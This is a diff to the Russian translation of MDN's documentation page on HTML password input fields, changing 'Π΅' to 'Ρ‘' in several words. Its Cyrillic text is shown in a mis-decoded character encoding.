-<p>ΠžΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ процСсса Π²Π²ΠΎΠ΄Π° ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ; ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ устройства, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, часто ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ Π²Π²ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ символ Π½Π° ΠΌΠ³Π½ΠΎΠ²Π΅Π½ΠΈΠ΅, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π·Π°ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π°ΠΆΠ°Π»ΠΈ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ΠΈ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π½Π°ΠΆΠ°Ρ‚ΡŒ; это ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, учитывая нСбольшой Ρ€Π°Π·ΠΌΠ΅Ρ€ клавиш ΠΈ Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒ, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΆΠ°Ρ‚Π° Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π°Ρ, особСнно Π½Π° Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π°Ρ….</p>
+<p>ΠžΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ процСсса Π²Π²ΠΎΠ΄Π° ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ; ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ устройства, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, часто ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ Π²Π²ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ символ Π½Π° ΠΌΠ³Π½ΠΎΠ²Π΅Π½ΠΈΠ΅, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π·Π°ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π°ΠΆΠ°Π»ΠΈ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ΠΈ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π½Π°ΠΆΠ°Ρ‚ΡŒ; это ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, учитывая нСбольшой Ρ€Π°Π·ΠΌΠ΅Ρ€ клавиш ΠΈ Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒ, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΆΠ°Ρ‚Π° Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π°Ρ, особСнно Π½Π° Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π°Ρ….</p>
<div class="note">
<p>Π›ΡŽΠ±Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹, содСрТащиС ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Ρ‚Π°ΠΊΡƒΡŽ ​​как ΠΏΠ°Ρ€ΠΎΠ»ΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ„ΠΎΡ€ΠΌΡ‹ Π²Ρ…ΠΎΠ΄Π°), Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ Ρ‡Π΅Ρ€Π΅Π· HTTPS; Π’ Firefox Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ нСсколько ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠ² для прСдупрСТдСния ΠΎΡ‚ нСбСзопасных Ρ„ΠΎΡ€ΠΌ Π²Ρ…ΠΎΠ΄Π° Π² систСму - см. <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Insecure_passwords">НСбСзопасныС ΠΏΠ°Ρ€ΠΎΠ»ΠΈ</a>. Π”Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹Π΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹.</p>
@@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/input/password
<h2 id="ЗначСния">ЗначСния</h2>
-<p>Атрибут {{htmlattrxref("value", "input")}} содСрТит {{domxref("DOMString")}} , Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ являСтся Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ содСрТимым элСмСнта рСдактирования тСкста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ для Π²Π²ΠΎΠ΄Π° пароля. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΅Ρ‰Π΅ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π», это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ прСдставляСт собой ΠΏΡƒΡΡ‚ΡƒΡŽ строку (<code>""</code>). Если ΡƒΠΊΠ°Π·Π°Π½ΠΎ свойство {{htmlattrxref("required")}}, Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° пароля Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΡ‚ пустой строки, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ.</p>
+<p>Атрибут {{htmlattrxref("value", "input")}} содСрТит {{domxref("DOMString")}} , Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ являСтся Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ содСрТимым элСмСнта рСдактирования тСкста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ для Π²Π²ΠΎΠ΄Π° пароля. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΅Ρ‰Ρ‘ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π», это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ прСдставляСт собой ΠΏΡƒΡΡ‚ΡƒΡŽ строку (<code>""</code>). Если ΡƒΠΊΠ°Π·Π°Π½ΠΎ свойство {{htmlattrxref("required")}}, Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° пароля Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΡ‚ пустой строки, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ.</p>
<p>Если ΡƒΠΊΠ°Π·Π°Π½ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("pattern", "input")}}, содСрТимоС элСмСнта управлСния <code>"password"</code> считаСтся Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ; см. {{anch("Validation")}} для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</p>
@@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/input/password
<h2 id="ИспользованиС_ΠΏΠΎΠ»Π΅ΠΉ_Π²Π²ΠΎΠ΄Π°_пароля">ИспользованиС ΠΏΠΎΠ»Π΅ΠΉ Π²Π²ΠΎΠ΄Π° пароля</h2>
-<p>Поля Π²Π²ΠΎΠ΄Π° пароля ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ тСкстовыС поля Π²Π²ΠΎΠ΄Π°; основноС ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ люди, Π½Π΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹Π΅ с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Π½Π΅ ΠΌΠΎΠ³Π»ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ.</p>
+<p>Поля Π²Π²ΠΎΠ΄Π° пароля ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ тСкстовыС поля Π²Π²ΠΎΠ΄Π°; основноС ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ люди, Π½Π΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹Π΅ с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Π½Π΅ ΠΌΠΎΠ³Π»ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ.</p>
<h3 id="ΠŸΡ€ΠΎΡΡ‚ΠΎΠ΅_ΠΏΠΎΠ»Π΅_Π²Π²ΠΎΠ΄Π°_пароля">ΠŸΡ€ΠΎΡΡ‚ΠΎΠ΅ ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° пароля</h3>
@@ -83,7 +83,7 @@ translation_of: Web/HTML/Element/input/password
<dt><code>"off"</code></dt>
<dd>Π—Π°ΠΏΡ€Π΅Ρ‰Π°Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΈΠ»ΠΈ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Ρƒ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ автоматичСски Π·Π°ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΏΠΎΠ»Π΅ пароля.</dd>
<dt><code>"current-password"</code></dt>
- <dd>Π Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΈΠ»ΠΈ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Ρƒ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ для сайта. Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Ρ‡Π΅ΠΌ <code>"on"</code>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ позволяСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΈΠ»ΠΈ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Ρƒ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π² настоящСС врСмя извСстСн ΠΏΠ°Ρ€ΠΎΠ»ΡŒ для сайта Π² ΠΏΠΎΠ»Π΅, Π° Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½ΠΎΠ²Ρ‹ΠΉ.</dd>
+ <dd>Π Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΈΠ»ΠΈ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Ρƒ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ для сайта. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Ρ‡Π΅ΠΌ <code>"on"</code>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ позволяСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΈΠ»ΠΈ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Ρƒ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π² настоящСС врСмя извСстСн ΠΏΠ°Ρ€ΠΎΠ»ΡŒ для сайта Π² ΠΏΠΎΠ»Π΅, Π° Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½ΠΎΠ²Ρ‹ΠΉ.</dd>
<dt><code>"new-password"</code></dt>
<dd>Π Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΈΠ»ΠΈ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Ρƒ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ автоматичСски Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ для сайта. Он ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ автоматичСски сгСнСрирован Π½Π° основС Π΄Ρ€ΡƒΠ³ΠΈΡ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² элСмСнта управлСния ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ просто ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Β«ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌΠΎΠ³ΠΎ Π½ΠΎΠ²ΠΎΠ³ΠΎ пароля».</dd>
</dl>
@@ -106,7 +106,7 @@ translation_of: Web/HTML/Element/input/password
<h3 id="Π£ΠΊΠ°Π·Π°Π½ΠΈΠ΅_Ρ€Π΅ΠΆΠΈΠΌΠ°_Π²Π²ΠΎΠ΄Π°">Π£ΠΊΠ°Π·Π°Π½ΠΈΠ΅ Ρ€Π΅ΠΆΠΈΠΌΠ° Π²Π²ΠΎΠ΄Π°</h3>
-<p>Если вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π»ΡƒΡ‡ΡˆΠ΅ обслуТиваСтся с использованиСм Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Ρ€Π΅ΠΆΠΈΠΌΠ° Π²Π²ΠΎΠ΄Π°, Ρ‡Π΅ΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("inputmode", "input")}} для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ запроса. НаиболСС ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ использования являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π² качСствС пароля числовоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ПИН). НапримСр, ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ устройства с Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π°ΠΌΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ Π½Π° ΠΌΠ°ΠΊΠ΅Ρ‚ Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠΉ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ вмСсто ΠΏΠΎΠ»Π½ΠΎΠΉ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π»Π΅Π³Ρ‡ΠΈΡ‚ΡŒ Π²Π²ΠΎΠ΄ пароля.</p>
+<p>Если вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π»ΡƒΡ‡ΡˆΠ΅ обслуТиваСтся с использованиСм Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Ρ€Π΅ΠΆΠΈΠΌΠ° Π²Π²ΠΎΠ΄Π°, Ρ‡Π΅ΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("inputmode", "input")}} для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ запроса. НаиболСС ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ использования являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π² качСствС пароля числовоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ПИН). НапримСр, ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ устройства с Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π°ΠΌΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ Π½Π° ΠΌΠ°ΠΊΠ΅Ρ‚ Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠΉ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ вмСсто ΠΏΠΎΠ»Π½ΠΎΠΉ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π»Π΅Π³Ρ‡ΠΈΡ‚ΡŒ Π²Π²ΠΎΠ΄ пароля.</p>
<pre class="brush: html">&lt;label for="pin"&gt;ПИН:&lt;/label&gt;
&lt;input id="pin" type="password" inputmode="numeric"&gt;</pre>
@@ -115,7 +115,7 @@ translation_of: Web/HTML/Element/input/password
<h3 id="Настройка_Π΄Π»ΠΈΠ½Ρ‹_пароля">Настройка Π΄Π»ΠΈΠ½Ρ‹ пароля</h3>
-<p>Как ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ {{htmlattrxref("minlength", "input")}} ΠΈ {{htmlattrxref("maxlength", "input")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΈ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ Π΄ΠΎΠΏΡƒΡΡ‚ΠΈΠΌΡƒΡŽ Π΄Π»ΠΈΠ½Ρƒ пароля , Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ дополняСт ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ, ΡƒΠΊΠ°Π·Π°Π², Ρ‡Ρ‚ΠΎ PIN-ΠΊΠΎΠ΄ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… ΠΈ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ восьми Ρ†ΠΈΡ„Ρ€. Атрибут {{htmlattrxref("size", "input")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для обСспСчСния Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ элСмСнт управлСния Π²Π²ΠΎΠ΄Π° пароля ΠΈΠΌΠ΅Π» ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π² восСмь символов.</p>
+<p>Как ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ {{htmlattrxref("minlength", "input")}} ΠΈ {{htmlattrxref("maxlength", "input")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΈ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ Π΄ΠΎΠΏΡƒΡΡ‚ΠΈΠΌΡƒΡŽ Π΄Π»ΠΈΠ½Ρƒ пароля , Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ дополняСт ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ, ΡƒΠΊΠ°Π·Π°Π², Ρ‡Ρ‚ΠΎ PIN-ΠΊΠΎΠ΄ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… ΠΈ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ восьми Ρ†ΠΈΡ„Ρ€. Атрибут {{htmlattrxref("size", "input")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для обСспСчСния Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ элСмСнт управлСния Π²Π²ΠΎΠ΄Π° пароля ΠΈΠΌΠ΅Π» ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π² восСмь символов.</p>
